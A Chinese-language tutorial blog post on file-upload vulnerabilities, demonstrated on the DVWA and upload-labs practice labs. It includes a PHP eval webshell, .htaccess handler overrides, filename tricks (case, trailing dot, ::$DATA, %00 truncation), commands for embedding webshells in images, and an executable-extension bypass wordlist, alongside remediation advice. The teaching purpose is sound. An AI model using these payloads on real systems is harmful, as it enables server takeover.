文件上传漏洞及绕过方法笔记

文件上传漏洞

是什么?

由于开发人员未对上传的文件进行严格的验证和过滤,导致用户可以上传一些不合法的文件到服务器中,危害服务器安全。

后果?

用户可以上传非法文件,控制整个网站甚至整个服务器。

文件上传的过程:

客户端发送文件->服务器接受文件->判断文件是否合法->临时文件->移动到指定目录。

PHP文件上传:

代码:

<?php
/*
 文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
0; 没有错误发生,文件上传成功。
1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
3; 文件只有部分被上传。
4; 没有文件被上传。
*/// 判断返回的状态码是否大于0
if ($_POST["sub"]) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Error:" . $_FILES["file"]["error"] . "<br/>";
    } else {
        $uplaod_path = '../upload' . '/' . $_FILES["file"]["name"];
        $tmp_file = $_FILES["file"]["tmp_name"];
        // 输出文件名
        echo "Upload:" . $_FILES["file"]["name"] . "<br/>";
        // 输出文件类型
        echo "Type:" . $_FILES["file"]["type"] . "<br/>";
        // 输出文件大小
        echo "Size:" . ($_FILES["file"]["size"] / 1024) . "Kb<br/>";
        // 输出临时储存的位置
        echo "Stored in:" . $_FILES["file"]["tmp_name"] . "<br/>";
        // 移动到指定目录
        move_uploaded_file($tmp_file, $uplaod_path);
    }
}

?>
<!DOCTYPE html>
<html>
<head></head>
<body>
<form action="#" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="sub" value="Submit" />
</form>
</body>
</html>

修复意见

在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。

文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击者放弃这个攻击途径。

设置上传白名单,白名单只允许图片上传如,jpg,png,gif 其他文件均不允许上传

上传的后缀名,一定要设置成图片格式如 jpg,png,gif

文件上传漏洞攻击方法:

寻找文件上传:

文件上传常见在头像,文件编辑器,上传图片,上传媒体等。

常见可执行文件后缀名:

asp,asa,cdx,cer,php,aspx,ashx,jsp,php3,php.a,shtml,phtml

任意文件上传漏洞:

页面没有任何过滤与检验,可以上传任意文件,且上传目录支持解析可执行文件,危害性及大

代码分析:

环境:dvwa,等级:low

image-20220826103222849

由代码可见其没有经过任何的检验和过滤就把我们上传的文件存放到了服务器中,我们可以上传任何文件,比如PHP一句话木马:

// eval():将字符串(这里指我们post方法传递的cmd参数值)当做代码执行,@是PHP提供的错误信息屏蔽的专用符号。
<?php eval(@$_POST["cmd"]);?>

我们吧这个文件上传到服务器:

image-20220826103746021

image-20220826103822119

访问一下返回的路径:

image-20220826103849951

因为我们只写了一句话所以什么也没有,我们可以用网站管理工具(像中国菜刀、蚁剑、哥斯拉等)链接一下,这里用蚁剑做演示:

打开蚁剑,右键添加并填上信息,测试链接:

image-20220826113850941

连接成功后点击添加,在点进去我们刚添加的这一条就能看到整个网站的目录了:

image-20220826113936655

image-20220826114233223

如果权限足够我们甚至可以上传大马,控制整个服务器,由此看出危害是非常高的。

文件上传绕过js

有些网站在用户提交时会用JS来判断用户上传的格式是否正确,JS验证是不会提交数据包到服务器的,所以可以通过浏览器F12,查看网络是否有数据来判断是不是在前端的验证。

image-20220826115343339

绕过方法:

方法一:直接把验证文件的JS代码删除或者关闭JS。

方法二:将文件改为合法后缀名后抓包再改为可执行文件。

列:

环境:upload-labs第一关:

注:从这以后上传的文件为phpinfo.php,内容为:

<?php phpinfo();?>

先查看源代码:

image-20220826120015747

由代码可见其写了个JS函数checkFile()来验证文件,只允许上传.jpg|.png|.gif文件。

方法一:

我们可以找到这个函数,然后直接删掉,再进行上传:

image-20220826120249669

image-20220826120404838

或者直接关JS,我这里利用火狐浏览器插件Disable JavaScript:

image-20220826170126800

安装完此插件后在浏览器右上角就会出现一键关闭JS的按钮:

image-20220826170253592

点击这个按钮关闭JS,再进行上传就可以了:

image-20220826170458235

方法二:

我们先把后缀名改成他允许的后缀名,这里为jpg,并打开burp进行抓包,然后上传:

image-20220826171101243

点击上传后我们抓到这个包,再把文件后缀名改为PHP:

image-20220826171332611

点击发送,关闭拦截,即可成功上传:

image-20220826171525817

文件上传绕过contnet-type:

有时候服务器会通过检测content-type类型来判断文件是否合法,而content-type类型是可以通过抓包的方式修改的,抓包后吧content-type修改为合法类型即可以绕过。

环境:upload-labs关卡:2.

方法:

方法一:上传可执行文件,然后抓包通过修改content-type为合法文件类型进行绕过。

方法二:上传合法文件,然后抓包通过修改文件名后缀进行绕过。

两个方法其实是一样的,结果都是文件为可执行文件,content-type类型为合法文件,主要在于content-type类型为合法类型来绕过验证。

例:

代码分析:

image-20220826173257729

由代码可知其只检测了文件类型:

那么我们上传可执行文件并抓包,修改content-type类型为image/jpeg即可以绕过:

image-20220826173734648

image-20220826173814802

上传成功。

文件上传绕过黑名单;

有时候会在文件上传的地方做黑名单进行限制,如果发现用户上传的文件名后缀在黑名单中则禁止上传:

环境:upload-labs关卡:3

绕过方法:

不使用黑名单中的后缀名:

列:

代码分析:

image-20220826174824366

可以看出黑名单中有.asp,.aspx,.php,.jsp,这时如果服务器中间件为iis,我们可以上传.asa .cer .cdx后缀文件,如果网站中允许.net执行,可以上传ashx代替aspx,当然前提得是服务器会解析执行这些脚本,并且不同中间件有不同的特性。

apache中,如果在AddType application/x-httpd-php .php .phtml .php3开启了application/x-httpd-php(有的版本默认开启),那么.phtml .php3就会被解析成PHP文件。

所以这里我们直接上传.phtml .php3文件就可以了:

image-20220826175938081

image-20220826180011350

上传成功。

文件上传.htaccess重写绕过:

什么事.htaccess文件?:

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess文件需要apache开启rewrite重写模块(大部分都会开启):

image-20220826180511070

有时服务器通过黑名单限制了我们所有可以上传的可执行文件名后缀,但是服务器开启了重写并且允许上传.htaccess文件,我们就可以通过该文件借助绕过。

例:

环境upload-labs关卡:4

代码分析:

image-20220826180930382

同样是黑名单并且包括了所有的可执行文件后缀名,但是没有.htaccess

我们可以先上传.htaccess文件内容:

<IfModule mime_module>
SetHandler application/x-httpd-php # 在当前目录下,所有文件都会被解析成PHP。
# AddType application/x-httpd-php .jpg 在当前目录下,所有jpg文件都会被解析成PHP。
</IfModule>

或者:

<FilesMatch "phpinfo.jpg">
SetHandler application/x-httpd-php # 在当前目录下,如果匹配到`phpinfo.jpg`文件,则当做PHP代码执行。
</FilesMatch>

建议使用第二种,第一种会误伤其他文件,我们先把写好的.htaccess文件上传进去(前面的点一定要带上):

image-20220826182937681

之后再上传phpinfo.jpg:

image-20220826183036260

之后我们右键复制图像链接,浏览器新建窗口输进去看看是否能执行:

image-20220826183222145

可以看到文件名仍然是phpinfo.jpg,但却被当做PHP代码执行了。

文件上传大小写绕过:

有时候服务器采用黑名单进行验证,但是并没有对大小写进行严格的限制,我们对后缀名进行大小写即可成功绕过:

例:

环境:upload-labs关卡5

代码解析:

image-20220826183842669

我们看到同样使用了黑名单,但是没有严格过滤大小写,也没有将后缀名改为小写,那么我们修改文件名后缀为大小写的格式即可绕过:

image-20220826184254575

image-20220826184312027

上传成功。

文件上传空格绕过:

有时候文件上传采用黑名单,但是没有去掉空格,我们上传时抓包,在文件名后缀后加一个空格即可绕过:

例:

环境upload-labs关卡:6

代码解析:

image-20220826184701484

同样使用了黑名单,并且将后缀转换成了小写,但是没有去掉空格,我们可以上传可执行文件然后抓包,在后缀名后面加上一个空格即可以绕过:

image-20220826184953784

image-20220826185031353

上传成功。

文件上传利用Windows特性绕过:

在Windows中,phpinfo.php.后缀名后面的.系统会自动忽略,所以如果对方服务器为Windows,并且没有对最后的这个.进行过滤,那么我们就可以利用这个特性进行绕过。

例:

环境:upload-labs关卡:7

代码解析:

image-20220826185539694

这里同样的使用了黑名单,并且限制了大小写和删除空格,但是没有删除后缀名后的.,我们就可以利用特性进行绕过:

和空格绕过同理,先上传phpinfo.php文件后抓包,在文件名后缀后加上一个.,即可绕过:

image-20220826185846989

image-20220826185911316

上传成功。

文件上传利用NTFS交换数据流::$DATA

NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。在Windows系统中,文件名+::DATA的格式会当成文件流处理,我们可以利用这个来绕过过滤。:

:$DATA:一个单引号时会上传文件但是没有内容。

例:

环境:upload-labs关卡:8

代码分析:

image-20220830163146223

黑名单,删除了末尾的点,并且将后缀名转换为了小写并去空。

我们利用::$DATA来进行绕过,首先上传phpinfo.php并进行抓包:

image-20220830163647259

在文件名后缀末尾添加::$DATA并点击发送。

image-20220830164100061

上传成功,我们测试一下能不能执行:

image-20220830164232255

也是可以的。

文件上传利用Windows的叠加特征

在Windows环境下,上传文件名为phpinfo.php:.jpg时,会在目录下生成空白文件phpinfo.php

再利用PHP和Windows环境的叠加属性:

在正则匹配时以下符号相等:

双引号"等于点.

大于>等于问号?

小于<等于星号*

那么phpinfo.<等于phpinfo.*/ phpinfo.<<<等于phpinfo.*** / phpinfo.>>>等于phpinfo.???

image-20220830170439871

思路

我们可以先上传phpinfo.php:.jpg绕过过滤并在目录生成空白文件,然后再上传phpinfo.>>>来匹配并覆盖phpinfo.php

例:

环境:upload-labs关卡:9

代码分析:

image-20220830170808190

代码设置了黑名单并限制了所有能上传的可执行文件后缀,过滤了点大小写::$DATA和空格,我们上面的方法都不能用了,那么我们先上传phpinfo.php:.jpg

image-20220830171336584

上传成功,我们进目录看一下:

image-20220830171436028

可以看到生成了phpinfo.php并且里面没有任何内容,那么我们接着上传phpinfo.>>>:

image-20220830171616986

上传成功,我们再去目录看一下:

image-20220830171653686

可以看到里面已经有东西了,那是因为phpinfo.>>>匹配到了phpinfo.php并重新覆盖了。

文件上传双写绕过:

有时候会将黑名单中的内容替换成空,但只替换了一次,我们就可以使用双写绕过:

例:

环境:upload-labs关卡:10

代码分析:

image-20220830172412376

设置了黑名单,并且将黑名单的内容替换成了空,我们可以使用双写绕过:

image-20220830172711645

成功上传,并且可以看到我们上传的phpinfo.pphphp变成了info.php

文件上传目录可控%00截断

upload-labs第1到10关中使用的是黑名单检测,之后的关卡就是白名单检测,白名单检测比黑名单监测较为安全。

如果使用白名单检测,但是目录参数可控,并且满足gpc关闭,php版本小于5.3.4,我们就可以尝试%00截断。

环境upload-labs关卡:11

代码分析:

image-20220830174530724

可以看到使用白名单检测,但是有一个$_GET['save_path']参数允许用户传递的目录参数,我们可以上传phpinfo.php文件并抓包,修改文件名为phponfo.jpg,修改save_path参数为:../upload/phpinfo.php%00.jpg

image-20220831103340799

可以看到上传成功,去文件夹看一下:

image-20220831103723331

注:这里save_path参数不加.jpg也是可以的,因为代码并没有对目录参数进行白名单对比,主要是%00截断:

image-20220831104449583

原理分析:

将文件名修改为phpinfo.jpg用来绕过白名单,save_path将参数修改为../upload/phpinfo.php%00.jpg,主要是使用%00将后面的目录截断(服务器未开启gpc%不被转移的情况下),源代码:

 if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; # 原理在这一行

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;,正常情况下文件路径会被拼接为../upload/新文件名.文件名后缀,然后move_uploaded_file()函数移动上传的文件到路径,我们传递参数后文件路径就会变为../upload/phpinfo.php%00/新文件名.php,%00将后面的截断掉了,所以结果其实是../upload/phpinfo.php,之后move_uploaded_file()函数移动我们上传的文件到该目录下成功完成上传漏洞。

POST下目录可控%00截断

如果路径参数使用的是POST传输,那么我们需要对%00进行解码才会有效:

关卡:12:

代码分析:

image-20220831111808931

和上一关卡的代码是一样的,只不过改为了POST传输目录参数,我们也是和上一关一样,上传phpinfo.php文件然后抓包,修改文件名为phpinfo.jpg绕过白名单,修改修改save_path参数为:../upload/phpinfo.php%00.jpg,但是要对%00进行一次URL解码。

image-20220831112752296

查看文件夹:

image-20220831112844667

成功。

文件上传绕过文件头检测:

不同文件,头文件不尽相同,有的时候回去文件头进行检测,如果不是图片格式,那么就会禁止上传。

常见文件头
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D

我们可以制作图片马,将PHP代码附加在图片上,在通过文件包含漏洞来进行读取。

copy 1.gif/b+phpinfo.php/a phpinfo.gif # Windows下使用copy制作图片马
cat phpinfo.php >> 1.jpg # Linux将webshell追加到图片中
例:

环境:upload-labs关卡:13

代码分析:

image-20220831164648382

由代码可见定义了getReailFileType()函数用来读取文件前两个字节并判断是否为图片文件。

我们可以先制作图片马:

image-20220831170339314

我们用记事本打开这个图片:

image-20220831170421283

拉到最后可以发现已经追加上去了,我们吧这个图片上传:

image-20220831171016586

上传成功,但是执行里面的PHP代码我们需要借助文件包含漏洞:

http://127.0.0.1/include.php?file=upload/1120220831170953.jpg

image-20220831172045233

成功。

文件上传绕过二次渲染:

二次渲染会减少图片的体积,提高服务器性能,所以很多服务器会对上传的图片进行二次渲染,这是如果图片中包含webshell,很大可能会被渲染掉.

我们可以上传一张图片,然后再下载这个渲染后的图片,使用HexEd、HxDHexEdito等工具打开,查看重复的地方之后用PHP代码进行覆盖就可以绕过。

尽量使用GIF图片,gif 图片在二次渲染后,与原图片差别不会太大。

例:

环境upload-labs关卡:16

代码分析:

image-20220831173206699

由代码可知其获取了图片的基础信息后根据图片的格式进行二次渲染,我们先找一张GIF图片进行上传:

image-20220831174441224

之后在将上传后的图片与上传前的图片放到HxDHexEdito工具中作对比,然后把PHP代码写入到两张图片相同的地方:

image-20220831180404183

之后我们再上传这张图片,并访问其链接:

image-20220831205804433

成功,如果不成功一定不要硬盯着一张图片试,去另找一张图片!!!

文件上传条件竞争漏洞:

条件竞争:多个线程同时访问同一个代码、变量、文件等没有进行锁操作或者同步操作。

例:

环境:upload-labs关卡:17:

代码分析:

image-20220901101750612

由代码可知,他是先用move_upload_file()函数将上传的文件移动到路径后又进行的rename()改名,那么我们上传PHP文件,在rename之前访问文件就可以绕过,那么我们上传PHP文件然后抓包

image-20220901104851676

把他放在intruder模块 ,不停提交这个包,线程开多一些:

image-20220901105158981

这边不断发包,我们浏览器也不断访问这个文件直到访问成功:

image-20220901105359460

image-20220901105448326

完成。

文件上传绕过文件名可控

文件上传时,保存的文件名可被用户修改,类似于路径可控,我们也可以使用%00截断或中间件配合漏洞使用:

例:

环境:upload-labs关卡:19

代码分析:

image-20220901110322054

代码可知,使用黑名单,有一个参数save_name拼接到img_path为文件路径,那么我们就可以将这个参数改为phpinfo.php%00.jpg来绕过:具体操作先上传phpinfo.jpg然后抓包,将save_name参数改为phpinfo.php%00.jpg,再上传:

image-20220901111107966

image-20220901111123634

成功!

文件上传数组绕过:

有时服务器会允许用户数组上传或命名,但是逻辑不严谨,就会容易出现漏洞,这种漏洞白盒审计发现居多,黑盒下难以发现。

例:

环境:upload-labs关卡:20

代码分析:

image-20220901150847358

把主要的地方拿出来:

image-20220901152354238

我们上传phpinfo.jpg文件,然后抓包,save_name以字典的格式传参,如下:

image-20220901152634555

上传成功,为什么?

$file_name = reset($file) . '.' . $file[count($file) - 1]; # 问题出现在$file[count($file) - 1]上

count()函数获取数组中元素的数目,我们通过修改save_name的值设置了一个数组[0]=>'phpinfo.php',[2]=>'jpg',数组中只有两个值,所以$file[count($file) - 1]=$file[2 - 1]=$file[1],但是我们上传的数组中没有[1]对应的值,所以成了$file_name=reset($file).'.'.$file[count($file)-1]='phpinfo.php'.'.'.NULL='phpinfo.php':

image-20220901153910957

结束。

文件上传的一些中间件漏洞:

1,iis6.0的 '1.PHP;1.jpg'
2,apache某些版本的 '1.php.a'
3,nginx0.83 '1.jpg%00php'
4,phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成php。
5,Apache HTTPD 换行解析漏洞(CVE-2017-15715)
6,apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略
等等。。。

文件名后缀字典:

.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小洋葱头头

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值